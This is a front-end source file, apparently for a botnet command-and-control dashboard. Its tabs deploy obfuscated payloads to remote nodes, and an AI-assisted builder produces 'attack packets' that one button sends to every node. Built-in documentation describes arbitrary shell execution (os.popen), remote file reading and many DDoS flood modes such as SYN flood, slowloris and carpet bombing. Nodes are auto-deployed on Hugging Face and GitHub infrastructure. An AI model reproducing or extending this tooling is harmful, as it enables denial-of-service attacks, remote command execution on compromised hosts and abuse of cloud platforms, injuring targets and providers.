<div className={`w-1.5 h-1.5 rounded-full shadow-md ${isActive ? 'bg-emerald-500 shadow-emerald-500/50' : 'bg-slate-500'}`}></div> {isActive ? 'Online' : 'Offline'}
</div>
</td>
<td className="py-3 text-right pr-2">
<button onClick={() => removeNode(node.id)} className="text-xs text-red-400 border border-red-500/30 px-2 py-1 rounded bg-red-400/10 hover:bg-red-400/20 transition-colors">
Remove
</button>
</td>
</tr>
);
})}
</tbody>
</table>
</div>
)}
</Card>
</div>
);
}
function PayloadsTab() {
const [payloadFiles, setPayloadFiles] = useState<Record<string, string>>({});
const [activePayload, setActivePayload] = useState('hf_docker');
const [obfuscate, setObfuscate] = useState(false);
const [payloads, setPayloads] = useState<any[]>([]);
useEffect(() => {
fetch('/api/payloads').then(r => r.json()).then(d => setPayloads(d.payloads || []));
}, []);
useEffect(() => {
fetch(`/api/payloads/${activePayload}?obfuscate=${obfuscate}`)
.then(r => r.json())
.then(d => setPayloadFiles(d.files || {}));
}, [activePayload, obfuscate]);
return (
<div className="flex flex-col gap-6">
<div className="mb-2">
<h2 className="text-2xl font-bold text-white tracking-tight">Deploy Payloads</h2>
<p className="text-slate-400 mt-1 text-sm">Download or copy setup scripts to instantly connect external infrastructure to this dashboard.</p>
<div className="mt-4 flex items-center gap-2">
<input
type="checkbox"
id="obfuscate"
checked={obfuscate}
onChange={(e) => setObfuscate(e.target.checked)}
className="rounded border-none accent-indigo-500 bg-black/20 cursor-pointer"
/>
<label htmlFor="obfuscate" className="text-sm font-medium text-slate-300 cursor-pointer">Obfuscate primary payload source code</label>
</div>
</div>
<div className="grid grid-cols-1 lg:grid-cols-4 gap-6">
<div className="lg:col-span-1 flex flex-col gap-3">
{payloads.map(t => (
<button
key={t.id}
onClick={() => setActivePayload(t.id)}
className={cn(
"w-full text-left p-4 rounded-3xl transition-all border",
activePayload === t.id
? "glass border-indigo-500/50 text-white shadow-lg shadow-indigo-500/20"
: "glass border-transparent text-slate-400 hover:bg-white/5 hover:border-white/10"
)}
>
<div className="font-semibold text-sm">{t.name}</div>
<div className="text-xs mt-1 opacity-70 leading-relaxed">{t.desc}</div>
</button>
))}
</div>
<div className="lg:col-span-3">
<Card title={`Generated Files for ${payloads.find(t => t.id === activePayload)?.name}`}>
<div className="flex flex-col gap-4">
{Object.entries(payloadFiles).map(([filename, content]) => (
<div key={filename} className="glass rounded-2xl overflow-hidden mb-2">
<div className="bg-white/5 px-4 py-3 border-b border-white/5 flex justify-between items-center">
<span className="font-mono text-sm text-slate-300">{filename}</span>
<button
className="text-xs bg-white/10 hover:bg-white/20 px-4 py-1.5 rounded-lg text-white transition-colors"
onClick={() => navigator.clipboard.writeText(content as string)}
>
Copy
</button>
</div>
<pre className="p-4 bg-black/20 overflow-x-auto text-xs font-mono text-slate-400 max-h-64 scrollbar-thin scrollbar-thumb-white/10">
{content as string}
</pre>
</div>
))}
{Object.keys(payloadFiles).length === 0 && (
<div className="text-center text-slate-400 py-10">Loading payloads...</div>
)}
</div>
</Card>
</div>
</div>
</div>
);
}
function BuilderTab() {
const [prompt, setPrompt] = useState('');
const [mode, setMode] = useState<'payload' | 'packets' | 'manual' | 'dragdrop'>('dragdrop');
const [loading, setLoading] = useState(false);
const [result, setResult] = useState('');
const [errorMsg, setErrorMsg] = useState('');
const [payloadsList, setPayloadsList] = useState<any[]>([]);
// Drag and Drop State
const [blocks, setBlocks] = useState<{id: string; type: string; params: any}[]>([]);
const sensors = useSensors(
useSensor(PointerSensor, { activationConstraint: { distance: 5 } }),
useSensor(KeyboardSensor, { coordinateGetter: sortableKeyboardCoordinates })
);
const handleDragEnd = (event: any) => {
const { active, over } = event;
if (active.id !== over.id) {
setBlocks((items) => {
const oldIndex = items.findIndex((i) => i.id === active.id);
const newIndex = items.findIndex((i) => i.id === over.id);
return arrayMove(items, oldIndex, newIndex);
});
}
};
const addBlock = (type: string) => {
const config = BLOCK_CONFIGS[type];
if (!config) return;
const initialParams: any = {};
for (const f of config.fields) initialParams[f.key] = f.default;
setBlocks([...blocks, { id: crypto.randomUUID(), type, params: initialParams }]);
};
const updateBlockParams = (id: string, key: string, value: string) => {
setBlocks(blocks.map(b => b.id === id ? { ...b, params: { ...b.params, [key]: value } } : b));
};
const removeBlock = (id: string) => {
setBlocks(blocks.filter(b => b.id !== id));
};
const compileBlocks = () => {
setResult(blocks.map(b => {
const config = BLOCK_CONFIGS[b.type];
return config ? config.generator(b.params) : '';
}).join('\\n\\n'));
};
useEffect(() => {
fetch('/api/payloads').then(r => r.json()).then(d => setPayloadsList(d.payloads || []));
}, []);
const generate = async () => {
setLoading(true);
setErrorMsg('');
try {
let endpoint = '/api/ai/generate-payload';
let body: any = { prompt };
if (mode === 'packets') endpoint = '/api/ai/generate-packets';
const res = await fetch(endpoint, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body)
});
const data = await res.json();
if (data.error) setErrorMsg(data.error);
else setResult(mode === 'packets' ? JSON.stringify(data.packets, null, 2) : data.code);
} catch (e: any) {
setErrorMsg(e.message);
}
setLoading(false);
};
const analyzeReports = async () => {
setLoading(true);
setErrorMsg('');
try {
const res = await fetch('/api/ai/analyze-reports', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({})
});
const data = await res.json();
if (data.error) setErrorMsg(data.error);
else {
setResult(JSON.stringify(data.packets, null, 2));
setMode('packets');
}
} catch (e: any) {
setErrorMsg(e.message);
}
setLoading(false);
};
const fetchTemplate = async (id: string) => {
try {
const res = await fetch(`/api/payloads/${id}`);
const data = await res.json();
if (data.files) {
// Find the main file
const mainContent = data.files['client.py'] || data.files['client.js'] || data.files['monitor.sh'] || data.files['client.c'] || Object.values(data.files)[0];
if (typeof mainContent === 'string') {
setResult(mainContent as string);
}
}
} catch (e) {
console.error(e);
}
};
const saveCustomPayload = async () => {
const name = window.prompt("Enter a name for this custom payload:");
if (!name) return;
try {
const codeToSave = mode === 'dragdrop' ? blocks.map(b => b.content).join('\\n\\n') : result;
if (!codeToSave.trim()) return alert("No code to save.");
await fetch('/api/ai/save-payload', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ name, code: codeToSave })
});
alert('Payload saved! You can find it in the Deploy Payloads tab.');
} catch (e: any) {
alert("Error saving: " + e.message);
}
};
const executePackets = async () => {
try {
const packets = JSON.parse(result);
if (!Array.isArray(packets)) throw new Error("Packets must be a JSON array.");
for (const pkt of packets) {
await fetch('/api/commands', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ target: 'all', type: pkt.type || 'custom_json', payload: pkt.payload || pkt, repeat: false })
});
await new Promise(resolve => setTimeout(resolve, 50)); // Ensure backpressure handling isn't triggered
}
alert(`Dispatched ${packets.length} packets to all nodes.`);
} catch (e: any) {
alert("Error executing packets: " + e.message);
}
};
return (
<div className="flex flex-col gap-6 max-w-4xl mx-auto w-full">
<div className="mb-2">
<h2 className="text-2xl font-bold text-white tracking-tight">Builder</h2>
<p className="text-slate-400 mt-2 text-sm leading-relaxed">
Design custom payloads manually or use AI to craft advanced implementations and attack packets.
</p>
</div>
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
<Card title="AI Input / Configuration" icon={<Cpu size={18} />}>
<div className="flex flex-col gap-4">
<div className="flex bg-black/20 rounded-lg p-1 mt-2">
<button
onClick={() => setMode('payload')}
className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'payload' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
>
Gen Payload
</button>
<button
onClick={() => setMode('packets')}
className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'packets' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
>
Gen Packets
</button>
<button
onClick={() => setMode('dragdrop')}
className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'dragdrop' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
>
Visual Block Builder
</button>
<button
onClick={() => setMode('manual')}
className={cn("flex-1 py-1.5 text-sm rounded-md transition-all font-medium", mode === 'manual' ? "bg-indigo-500 text-white" : "text-slate-400 hover:text-slate-200")}
>
Raw Editor
</button>
</div>
{(mode === 'manual' || mode === 'dragdrop') ? (
<div className="flex flex-col gap-4">
<div className="bg-black/20 border border-white/10 rounded-xl p-3">
<h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Load End-to-End Template</h3>
<div className="flex flex-wrap gap-2">
{payloadsList.map(p => (
<button key={p.id} onClick={() => fetchTemplate(p.id)} className="px-3 py-1 bg-white/5 hover:bg-white/10 rounded-md text-xs text-white">
{p.name}
</button>
))}
</div>
</div>
<div className="bg-black/20 border border-white/10 rounded-xl p-3">
<h3 className="text-sm font-medium text-slate-300 mb-2 px-1">Code Block Library</h3>
{mode === 'dragdrop' ? (
<div className="flex flex-col gap-2">
<p className="text-xs text-slate-400 mb-2">Click blocks to add them to your chain.</p>
<div className="grid grid-cols-2 gap-2">
{Object.entries(BLOCK_CONFIGS).map(([type, config]) => (
<div key={type} onClick={() => addBlock(type)} className={cn("cursor-pointer border bg-black/10 hover:bg-black/20 rounded-lg p-2 flex flex-col items-start transition-all", config.color.replace('bg-', 'border-').replace('-600', '-500/30'))}>
<div className={cn("text-xs font-bold", config.color.replace('bg-', 'text-').replace('-600', '-300'))}>{config.title}</div>
<div className="text-[10px] text-slate-400 mt-1">Add to execution chain.</div>
</div>
))}
</div>
</div>
) : (
<div className="flex flex-wrap gap-2">
<button onClick={() => setResult(prev => prev + '\ndef exec_fetch_http_test(ip, port):\n pass # Replace with HTTP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Test</button>
<button onClick={() => setResult(prev => prev + '\ndef exec_socket_tcp_probe(ip, port):\n pass # Replace with TCP logic')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">TCP Probe</button>
<button onClick={() => setResult(prev => prev + '\ndef exec_http_flood(url, duration, threads_count):\n pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">HTTP Flood</button>
<button onClick={() => setResult(prev => prev + '\ndef exec_udp_flood(ip, port, duration, packet_size):\n pass # Impl flood')} className="px-3 py-1 bg-indigo-500/20 text-indigo-300 hover:bg-indigo-500/30 rounded-md text-xs">UDP Flood</button>
</div>
)}
</div>
</div>
) : (
<>
<textarea
value={prompt}
onChange={(e) => setPrompt(e.target.value)}
placeholder={mode === 'payload' ? "Create a reverse proxy implementation..." : "A chain of HTTP requests against specific endpoints..."}
rows={6}
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-3 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm"
/>
<button
onClick={generate}
disabled={loading || !prompt.trim()}
className={cn(
"px-5 py-2.5 text-white rounded-xl font-medium shadow-lg transition-all",
(loading || !prompt.trim()) ? "bg-indigo-500/50 cursor-not-allowed" : "bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30"
)}
>
{loading ? 'Processing...' : 'Generate AI Routine'}
</button>
{mode === 'packets' && (
<button
onClick={analyzeReports}
disabled={loading}
className={cn(
"px-5 py-2.5 text-white rounded-xl font-medium shadow-lg transition-all",
loading ? "bg-emerald-600/50 cursor-not-allowed" : "bg-emerald-600 hover:bg-emerald-500 shadow-emerald-500/30"
)}
>
Analyze Reports for Bypass Pipeline
</button>
)}
</>
)}
{errorMsg && <div className="text-red-400 text-sm mt-1 p-2 bg-red-500/10 rounded">{errorMsg}</div>}
</div>
</Card>
<Card title={mode === 'dragdrop' ? "Active Source Chain" : "Artifact / Editor"} icon={<FileText size={18} />}>
{mode === 'dragdrop' ? (
<div className="flex flex-col h-full gap-3">
<div className="flex justify-end gap-2 px-1">
<button onClick={() => { compileBlocks(); setMode('manual'); }} className="text-xs bg-slate-600 hover:bg-slate-500 px-3 py-1 rounded text-white transition-all font-bold">Edit Raw Code</button>
<button onClick={saveCustomPayload} className="text-xs bg-indigo-500 hover:bg-indigo-400 px-3 py-1 rounded text-white transition-all font-bold">Save Chain as Payload</button>
</div>
<div className="flex-1 min-h-[200px] bg-black/20 border border-white/10 rounded-xl p-4 overflow-y-auto w-full">
{blocks.length === 0 ? (
<div className="flex flex-col items-center justify-center h-full text-slate-400/50">
<p className="text-sm font-medium">Click blocks on the left to build your chain.</p>
</div>
) : (
<DndContext sensors={sensors} collisionDetection={closestCenter} onDragEnd={handleDragEnd}>
<SortableContext items={blocks} strategy={verticalListSortingStrategy}>
{blocks.map((block) => (
<SortableBlock key={block.id} {...block} onUpdate={updateBlockParams} onRemove={removeBlock} />
))}
</SortableContext>
</DndContext>
)}
</div>
<p className="text-xs text-slate-400 px-1 opacity-60">Block chaining runs the raw python vertically. Top to bottom.</p>
</div>
) : result ? (
<div className="flex flex-col h-full gap-3">
<div className="flex justify-end gap-2 px-1">
{(mode === 'payload' || mode === 'manual') ? (
<button onClick={saveCustomPayload} className="text-xs bg-indigo-500 hover:bg-indigo-400 px-3 py-1 rounded text-white transition-all font-bold">Save as Payload</button>
) : null}
{mode === 'packets' && (
<button onClick={executePackets} className="text-xs bg-red-500 hover:bg-red-400 px-3 py-1 rounded text-white transition-all font-bold tracking-wide uppercase">Execute Attack Packets</button>
)}
<button onClick={() => navigator.clipboard.writeText(result)} className="text-xs bg-white/10 hover:bg-white/20 px-3 py-1 rounded text-white transition-all">Copy Result</button>
</div>
<textarea
value={result}
onChange={e => setResult(e.target.value)}
className="w-full flex-1 min-h-[200px] bg-black/20 border border-white/10 rounded-xl p-4 text-emerald-300 focus:outline-none focus:border-emerald-500 transition-all font-mono text-xs"
/>
<p className="text-xs text-slate-400 px-1">You can freely edit this artifact. When ready, paste it into the Payload section or JSON execution box.</p>
</div>
) : (
<div className="flex flex-col items-center justify-center p-10 h-[250px] text-slate-400/50">
<Terminal size={32} className="mb-4 opacity-50" />
<p className="text-sm font-medium">{mode === 'manual' ? 'Select a template or start typing' : 'Awaiting Generation...'}</p>
</div>
)}
</Card>
</div>
</div>
);
}
function DocsTab() {
return (
<div className="flex flex-col gap-6 max-w-4xl mx-auto w-full">
<div className="mb-2">
<h2 className="text-2xl font-bold text-white tracking-tight">Documentation</h2>
<p className="text-slate-400 mt-2 text-sm leading-relaxed">
Learn how to craft custom JSON payloads or integrate existing commands. The system translates these commands to instructions executed natively on connected nodes.
</p>
</div>
<Card title="Implementing Existing Commands into Custom Payloads" icon={<FileText size={18} />}>
<div className="text-sm text-slate-300">
<p className="mb-4">
If you are building a custom payload (using the <strong>Builder</strong> tab tool manually or using AI), you can intercept standard commands dispatched by the control panel.
The command payload is a JSON object. You just need to parse it and run your logic.
</p>
<pre className="bg-black/30 border border-white/10 rounded-xl p-4 font-mono text-xs overflow-x-auto text-indigo-300 mb-4">
{`# Python Example
cmd_type = cmd.get('type')
payload = cmd.get('payload', {})
if cmd_type == 'fetch_http_test':
# Implement HTTP fetch using payload.get('ip') and payload.get('port')
result = exec_fetch_http_test(payload.get('ip'), payload.get('port'))
elif cmd_type == 'exec_shell':
# Implement shell execution
result = os.popen(payload.get('cmd')).read()
`}
</pre>
<p>
You can find the standard command types in the UI (e.g., <code>fetch_http_test</code>, <code>socket_tcp_probe</code>, <code>dns_resolve</code>, <code>exec_shell</code>).
Simply map each <code>cmd.type</code> to a function in your custom payload script.
</p>
</div>
</Card>
<Card title="Making New Custom Commands" icon={<Cpu size={18} />}>
<div className="text-sm text-slate-300">
<p className="mb-4">
You can create entirely new, custom commands. For example, if you want a custom Flood Attack or sequence generation.
Under <strong>System Commands &gt; Custom JSON Command</strong>, dispatch your arbitrary JSON:
</p>
<pre className="bg-black/30 border border-white/10 rounded-xl p-4 font-mono text-xs overflow-x-auto text-emerald-300 mb-4">
{`{
"type": "custom_flood",
"payload": {
"target": "example.com",
"packets": 1000,
"threads": 10
}
}`}
</pre>
<p className="mb-4 text-emerald-400 font-medium">Handling Custom Sequences</p>
<p className="mb-4">
In your Custom Payload, catch <code>cmd_type == 'custom_flood'</code> or <code>'custom_json'</code> and structure your specific attack pipeline logic.
The AI Builder parses the <strong>current commands</strong> from the server source during generation, so if you ask it to <em>"Send X packets to Y target"</em>, it will intelligently build both the Python implementation and the JSON array required to trigger it.
</p>
</div>
</Card>
<Card title="Attack Pipeline Generation (Packets)" icon={<Globe size={18} />}>
<div className="text-sm text-slate-300">
<p className="mb-4">
Under the <strong>Builder</strong> tab, selecting <code>Gen Packets</code> generates an array of actions. You can use standard actions, or define custom ones for AI to fill out parameters like headers, intervals, and routing behavior:
</p>
<pre className="bg-black/30 border border-white/10 rounded-xl p-4 font-mono text-xs overflow-x-auto text-amber-300 mb-4">
{`[
{ "type": "fetch_http_test", "payload": { "ip": "1.1.1.1", "port": 80 } },
{ "type": "custom_stealth_ping", "payload": { "target": "10.0.0.5", "delay_ms": 500 } }
]`}
</pre>
<p className="mb-2">Once generated, you can click <strong className="text-red-400">Execute Attack Packets</strong> directly from the UI, distributing them evenly to all connected node agents.</p>
</div>
</Card>
<Card title="Available Command Types" icon={<Terminal size={18} />}>
<div className="text-sm text-slate-300">
<ul className="space-y-4">
<li className="p-3 bg-white/5 rounded-lg border border-white/5">
<strong className="text-white block mb-1">exec_shell</strong>
<p className="mb-2">Execute an arbitrary terminal command.</p>
<code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"exec_shell\", \"payload\": { \"cmd\": \"whoami\" } }"}</code>
</li>
<li className="p-3 bg-white/5 rounded-lg border border-white/5">
<strong className="text-white block mb-1">network_flood</strong>
<p className="mb-2">Execute an arbitrary stream of UDP or HTTP requests.</p>
<code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"udp_flood\", \"payload\": { \"ip\": \"example.com\", \"port\": 80, \"duration\": 5, \"packet_size\": 1024 } }"}</code>
</li>
<li className="p-3 bg-white/5 rounded-lg border border-white/5">
<strong className="text-white block mb-1">fetch_http_test</strong>
<p className="mb-2">Perform an HTTP GET request to a target layer 7 URL.</p>
<code className="text-xs bg-black/30 p-1.5 px-2 rounded text-slate-400">{"{ \"type\": \"fetch_http_test\", \"payload\": { \"ip\": \"example.com\", \"port\": 80 } }"}</code>
</li>
</ul>
</div>
</Card>
</div>
);
}
function SettingsTab() {
const [hfToken, setHfToken] = useState('');
const [ghToken, setGhToken] = useState('');
const [geminiToken, setGeminiToken] = useState('');
const [geminiModel, setGeminiModel] = useState<'2.5' | '3.0'>('2.5');
const [status, setStatus] = useState('');
useEffect(() => {
fetch('/api/tokens/status').then(res => res.json()).then(data => {
if (data.gemini_model) setGeminiModel(data.gemini_model);
}).catch(()=>{});
}, []);
const handleSave = async () => {
try {
const res = await fetch('/api/tokens', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ hf_token: hfToken, github_token: ghToken, gemini_token: geminiToken, gemini_model: geminiModel })
});
const data = await res.json();
setStatus(data.message || 'Saved securely to in-memory state.');
setTimeout(() => setStatus(''), 3000);
} catch (e) {
setStatus('Error saving tokens.');
}
};
return (
<div className="max-w-2xl mx-auto flex flex-col gap-6">
<div className="mb-2">
<h2 className="text-2xl font-bold text-white tracking-tight">Integrations & Auth</h2>
<p className="text-slate-400 mt-2 text-sm leading-relaxed">
Tokens are stored <strong>strictly in the server's runtime memory</strong>.
They are never written to payloads or disk. Used exclusively to automate payload deployment to your Hugging Face or GitHub accounts via their official APIs.
</p>
</div>
<Card title="API Tokens" icon={<ShieldCheck size={18} />}>
<div className="flex flex-col gap-4">
<div>
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Gemini AI Model Generation Version</label>
<div className="flex bg-black/20 border border-white/10 rounded-xl p-1 w-full gap-1">
<button
onClick={() => setGeminiModel('2.5')}
className={cn("flex-1 py-2 text-sm rounded-lg transition-all font-medium", geminiModel === '2.5' ? "bg-indigo-500 text-white shadow-md shadow-indigo-500/20" : "text-slate-400 hover:text-slate-200")}
>
Gemini 2.5 Pro
</button>
<button
onClick={() => setGeminiModel('3.0')}
className={cn("flex-1 py-2 text-sm rounded-lg transition-all font-medium", geminiModel === '3.0' ? "bg-indigo-500 text-white shadow-md shadow-indigo-500/20" : "text-slate-400 hover:text-slate-200")}
>
Gemini 3.0 Pro
</button>
</div>
</div>
<div>
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Hugging Face Token</label>
<input
type="password"
value={hfToken}
onChange={e => setHfToken(e.target.value)}
placeholder="hf_..."
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner"
/>
</div>
<div>
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">GitHub PAT</label>
<input
type="password"
value={ghToken}
onChange={e => setGhToken(e.target.value)}
placeholder="ghp_..."
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner"
/>
</div>
<div>
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Gemini API Key (Optional Override)</label>
<input
type="password"
value={geminiToken}
onChange={e => setGeminiToken(e.target.value)}
placeholder="AI Studio API Key..."
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner"
/>
</div>
<div className="pt-4 flex items-center justify-between">
<button
onClick={handleSave}
className="px-5 py-2.5 bg-indigo-500 hover:bg-indigo-400 text-white rounded-xl font-medium shadow-lg shadow-indigo-500/30 transition-all"
>
Securely Save to Memory
</button>
{status && <span className="text-sm text-emerald-400 font-medium bg-emerald-500/10 px-3 py-1 rounded-full border border-emerald-500/20">{status}</span>}
</div>
</div>
</Card>
</div>
);
}
function DeployTab() {
const [provider, setProvider] = useState('hf');
const [hfSdk, setHfSdk] = useState('docker');
const [name, setName] = useState('');
const [status, setStatus] = useState('');
const [loading, setLoading] = useState(false);
const handleDeploy = async () => {
setLoading(true);
setStatus('Deploying...');
try {
const endpoint = provider === 'hf' ? '/api/deploy/hf' : '/api/deploy/github';
const payload = provider === 'hf' ? { name, sdk: hfSdk } : { name };
const res = await fetch(endpoint, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
const data = await res.json();
if (data.error) throw new Error(data.error);
setStatus(`${data.message}\n(Make sure to wait a few minutes for the cloud providers to build and start the apps.)`);
} catch (e: any) {
setStatus(`Error: ${e.message}`);
}
setLoading(false);
};
return (
<div className="max-w-3xl mx-auto flex flex-col gap-6 w-full">
<div className="mb-2">
<h2 className="text-2xl font-bold text-white tracking-tight">Automated Cloud Deploy</h2>
<p className="text-slate-400 mt-2 text-sm leading-relaxed">
Create and deploy connected nodes automatically using your saved integration tokens.
</p>
</div>
<Card title="Deploy New Node" icon={<Globe size={18} />}>
<div className="flex flex-col gap-5">
<div className="grid grid-cols-2 gap-4">
<button
onClick={() => setProvider('hf')}
className={cn("p-4 rounded-2xl border transition-all text-left", provider === 'hf' ? "glass border-indigo-500/50" : "bg-black/20 border-white/5 hover:border-white/10")}
>
<h3 className="font-semibold text-white">Hugging Face Space</h3>
<p className="text-xs text-slate-400 mt-1">Deploy Python clients via HF Hub API.</p>
</button>
<button
onClick={() => setProvider('github')}
className={cn("p-4 rounded-2xl border transition-all text-left", provider === 'github' ? "glass border-indigo-500/50" : "bg-black/20 border-white/5 hover:border-white/10")}
>
<h3 className="font-semibold text-white">GitHub Actions</h3>
<p className="text-xs text-slate-400 mt-1">Deploy Python background clients to GH Repos.</p>
</button>
</div>
{provider === 'hf' && (
<div>
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Space SDK</label>
<select
value={hfSdk}
onChange={(e) => setHfSdk(e.target.value)}
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-3 text-white focus:outline-none focus:border-indigo-500 transition-all text-sm appearance-none shadow-inner"
>
<option value="docker">Docker (Background Script Python)</option>
<option value="gradio">Gradio (UI with Background Poller)</option>
</select>
</div>
)}
<div>
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Deployment Name</label>
<input
type="text"
value={name}
onChange={e => setName(e.target.value)}
placeholder="e.g. node-cluster-abc (Optional, random if empty)"
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 focus:ring-1 focus:ring-indigo-500 transition-all font-mono shadow-inner text-sm"
/>
</div>
<div className="pt-2 border-t border-white/5 flex flex-col gap-3">
<button
disabled={loading}
onClick={handleDeploy}
className={cn("px-6 py-3 text-white rounded-xl font-medium transition-all shadow-lg w-full flex items-center justify-center gap-2",
loading ? "bg-indigo-500/50 cursor-not-allowed" : "bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30")}
>
<Globe size={18} /> {loading ? 'Deploying...' : 'Deploy Node'}
</button>
{status && <div className={cn("p-3 px-4 rounded-xl text-sm font-medium border whitespace-pre-wrap", status.includes('Error') ? 'bg-red-500/10 border-red-500/20 text-red-500' : 'bg-emerald-500/10 border-emerald-500/20 text-emerald-400')}>{status}</div>}
</div>
</div>
</Card>
</div>
);
}
function ReportResultViewer({ report }: { report: any }) {
if (report.type === 'list_directory' && report.result?.files) {
return (
<div className="bg-black/40 rounded-lg p-2 border border-white/5">
<div className="flex items-center gap-2 mb-2 px-2 pb-2 border-b border-white/10">
<Folder size={14} className="text-indigo-400" />
<span className="text-xs font-semibold text-white">Directory Contents</span>
</div>
<div className="flex flex-col max-h-64 overflow-y-auto pr-1 nice-scrollbar">
{report.result.files.map((f: string, i: number) => (
<div key={i} className="text-xs text-slate-300 py-1.5 px-2 hover:bg-white/5 rounded flex items-center transition-colors">
<span className="mr-2 text-slate-500">{'>'}</span>
<span className="truncate">{f}</span>
</div>
))}
{report.result.files.length === 0 && <span className="text-xs text-slate-500 italic p-2">Empty directory</span>}
</div>
</div>
);
} else if (report.type === 'get_file_info' && report.result?.info !== undefined) {
return (
<div className="bg-black/40 rounded-lg p-3 border border-white/5">
<div className="flex items-center gap-2 mb-2 pb-2 border-b border-white/10">
<FileText size={14} className="text-indigo-400" />
<span className="text-xs font-semibold text-white">File Information</span>
</div>
<div className="grid grid-cols-2 gap-2 text-xs">
<div className="text-slate-400">Size: <span className="text-white font-mono">{report.result.info.size} bytes</span></div>
<div className="text-slate-400">Mode: <span className="text-white font-mono">{report.result.info.mode}</span></div>
<div className="text-slate-400">Modified: <span className="text-white">{new Date(report.result.info.mtimeMs || report.result.info.mtime * 1000 || Date.now()).toLocaleString()}</span></div>
</div>
</div>
);
} else if (report.type === 'read_file' && report.result?.content !== undefined) {
return (
<div className="bg-black/40 rounded-lg border border-white/5 overflow-hidden">
<div className="bg-white/5 px-3 py-2 border-b border-white/10 flex items-center gap-2">
<FileText size={14} className="text-indigo-400" />
<span className="text-xs font-semibold text-white">File Output</span>
</div>
<pre className="text-xs text-emerald-400 p-3 overflow-x-auto whitespace-pre-wrap font-mono">
{report.result.content}
</pre>
</div>
);
}
return (
<pre className="text-xs text-emerald-400 bg-black/40 p-2 rounded-lg break-words whitespace-pre-wrap font-mono">
{JSON.stringify(report.result, null, 2)}
</pre>
);
}
function CommandsTab({ category }: { category: 'network' | 'system' | 'file' }) {
// Use state strictly tied to the category if possible, but shared state is fine.
// When category changes, reset command to default of that category.
const [command, setCommand] = useState(category === 'network' ? 'network_flood' : category === 'system' ? 'check_uptime' : 'list_directory');
useEffect(() => {
setCommand(category === 'network' ? 'network_flood' : category === 'system' ? 'check_uptime' : 'list_directory');
}, [category]);
const [targetNode, setTargetNode] = useState('all');
const [ip, setIp] = useState('127.0.0.1');
const [port, setPort] = useState('80');
const [host, setHost] = useState('google.com');
const [portsList, setPortsList] = useState('80,443');
const [interval, setIntervalVal] = useState('10');
const [floodType, setFloodType] = useState('http_get_flood');
const [duration, setDuration] = useState('10');
const [threads, setThreads] = useState('10');
const [packetSize, setPacketSize] = useState('1024');
const [shellCmd, setShellCmd] = useState('echo hello');
const [filePath, setFilePath] = useState('/etc/pwd');
const [status, setStatus] = useState('');
const [nodes, setNodes] = useState<any[]>([]);
const [reports, setReports] = useState<any[]>([]);
const [activeCommands, setActiveCommands] = useState<any[]>([]);
const [deployments, setDeployments] = useState<string[]>([]);
const [repeat, setRepeat] = useState(false);
useEffect(() => {
const fetchStatus = async () => {
try {
const res = await fetch('/api/status');
const json = await res.json();
setNodes(json.nodes || []);
// Get just the reports that are commands
setReports((json.reports || []).slice(0, 15));
setActiveCommands(json.activeCommands || []);
setDeployments(json.deployments || []);
} catch (err) {}
};
fetchStatus();
const iv = setInterval(fetchStatus, 3000);
return () => clearInterval(iv);
}, []);
const requiresTarget = command === 'fetch_http_test' || command === 'socket_tcp_probe' || command === 'network_flood';
const requiresHost = command === 'dns_resolve' || command === 'icmp_ping' || command === 'traceroute' || command === 'port_scan' || command === 'dns_mx_records' || command === 'dns_txt_records';
const requiresFloodArgs = command === 'network_flood';
const requiresPacketSize = command === 'network_flood' && (floodType === 'udp_flood' || floodType === 'gre_flood');
const requiresThreads = command === 'network_flood' && (['http_get_flood', 'http_post_flood', 'slowloris', 'tcp_connect_flood', 'api_abuse_flood', 'cache_bypass_flood', 'syn_flood', 'carpet_bombing', 'websocket_flood', 'slow_post_flood', 'ack_flood', 'connection_exhaustion', 'gre_flood', 'http3_quic_flood', 'http2_multiplex', 'browser_emulation'].includes(floodType));
const requiresPorts = command === 'port_scan';
